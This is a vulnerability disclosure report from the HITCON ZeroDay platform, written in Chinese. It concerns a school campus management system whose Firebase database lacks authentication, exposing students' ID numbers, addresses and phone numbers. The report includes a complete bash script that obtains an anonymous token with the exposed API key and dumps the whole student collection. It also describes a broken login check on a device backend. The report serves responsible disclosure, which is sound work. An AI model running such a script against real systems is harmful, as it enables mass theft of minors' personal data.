樹人家商校園管理系統 Firebase 資料庫裸奔、不安全驗證 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00628
  •  發信 Vendor: 新北市政府教育局
  • Title: 樹人家商校園管理系統 Firebase 資料庫裸奔、不安全驗證
  • Introduction: Firebase 作為資料庫,其 firebase 端點未作任何驗證,可一次調用出所有全校學生資料

處理狀態

目前狀態

公開
Last Update : 2026/06/14
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/05 22:25:03 : 新提交 (由 yoni13 更新此狀態)
  • 2026/05/05 22:27:31 : 新提交 (由 yoni13 更新此狀態)
  • 2026/05/05 22:31:29 : 新提交 (由 yoni13 更新此狀態)
  • 2026/05/05 22:36:31 : 新提交 (由 yoni13 更新此狀態)
  • 2026/05/05 22:58:41 : 新提交 (由 yoni13 更新此狀態)
  • 2026/05/09 17:52:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:47:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:47:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:47:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/03 15:55:18 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/06/10 14:16:41 : 確認已修補 (由 yoni13 更新此狀態)
  • 2026/06/14 03:00:18 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00628
  • 通報者:yoni13 (yoni13)
  • 風險:嚴重
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://campus-system-23f6c.web.app/leave/apply
https://campus-system-23f6c.web.app/device

敘述

https://campus-system-23f6c.web.app/leave/apply
此為樹人家商校園管理系統之請假系統,該網頁使用 Firebase 作為資料庫,其 firebase 端點未作任何驗證,可一次調用出所有全校師生資料
圖片
圖片
圖片

任何人皆可存取全校身份證字號、學號、住址、家長學生電話、家長姓名、班級、學生電話、性別等全部資料

#!/bin/bash

PROJECT_ID="dormitory-system-23f6c"
# API_KEY="AIzaSyC..." (Not strictly required when using a Bearer token)
API_KEY="AIzaSyC_wJuz4PWbG1PWTNZmm6oXxANDXK5izuM"
TOKEN=$(curl -s -X POST \
    "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${API_KEY}" \
    -H "Content-Type: application/json" \
    -d '{"returnSecureToken":true}' | jq -r '.idToken')

BASE_URL="https://firestore.googleapis.com/v1/projects/${PROJECT_ID}/databases/(default)/documents/campus_students"
OUTPUT_FILE="campus_students_backup.jsonl"
TEMP_FILE="temp_response.json"

PAGE_TOKEN=""
PAGE_COUNT=1

echo "=== Testing Firestore with ${PROJECT_ID} project ==="
echo "Starting backup to ${OUTPUT_FILE}..."

# Clear existing output file if it exists
> "$OUTPUT_FILE"

# Loop until there is no nextPageToken
while :; do
  echo "Fetching page $PAGE_COUNT..."

  # Construct URL. Append pageToken if it's not empty.
  if [ -z "$PAGE_TOKEN" ]; then
    REQUEST_URL="${BASE_URL}"
  else
    REQUEST_URL="${BASE_URL}?pageToken=${PAGE_TOKEN}"
  fi

  # Execute curl and store response in a temporary file
  curl -s "${REQUEST_URL}" \
    -H "Authorization: Bearer ${TOKEN}" \
    > "$TEMP_FILE"

  # Check for API errors (e.g., token expired)
  if grep -q '"error"' "$TEMP_FILE"; then
    echo "Error encountered from API:"
    cat "$TEMP_FILE"
    break
  fi

  # Extract documents and append to the output file as JSON Lines.
  # The '?' prevents jq from throwing an error if the page is completely empty.
  jq -c '.documents[]?' "$TEMP_FILE" >> "$OUTPUT_FILE"

  # Extract the nextPageToken. If it doesn't exist, return empty.
  PAGE_TOKEN=$(jq -r '.nextPageToken // empty' "$TEMP_FILE")

  # Break the loop if PAGE_TOKEN is empty
  if [ -z "$PAGE_TOKEN" ]; then
    echo "Pagination complete! No more pages."
    break
  fi

  ((PAGE_COUNT++))
done

# Clean up the temporary file
rm -f "$TEMP_FILE"

# Count total backed-up documents
DOC_COUNT=$(wc -l < "$OUTPUT_FILE" | tr -d ' ')
echo "=== Backup Finished ==="
echo "Successfully backed up ${DOC_COUNT} documents to ${OUTPUT_FILE}."

圖片

使用隨機一名學生帳號登入後,來到 https://campus-system-23f6c.web.app/device
圖片
圖片
發現其未妥善驗證,學生帳號可用來登入手機管理後台

建議措施

  • 立刻停用所有使用 AI Vibe Coding 生出來的網站,並再由專業資安人員檢查
  • 檢查 Firebase 存取設定
  • 評估是否通知受影響學生及家長,並依《個資法》規定考慮主動申報

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;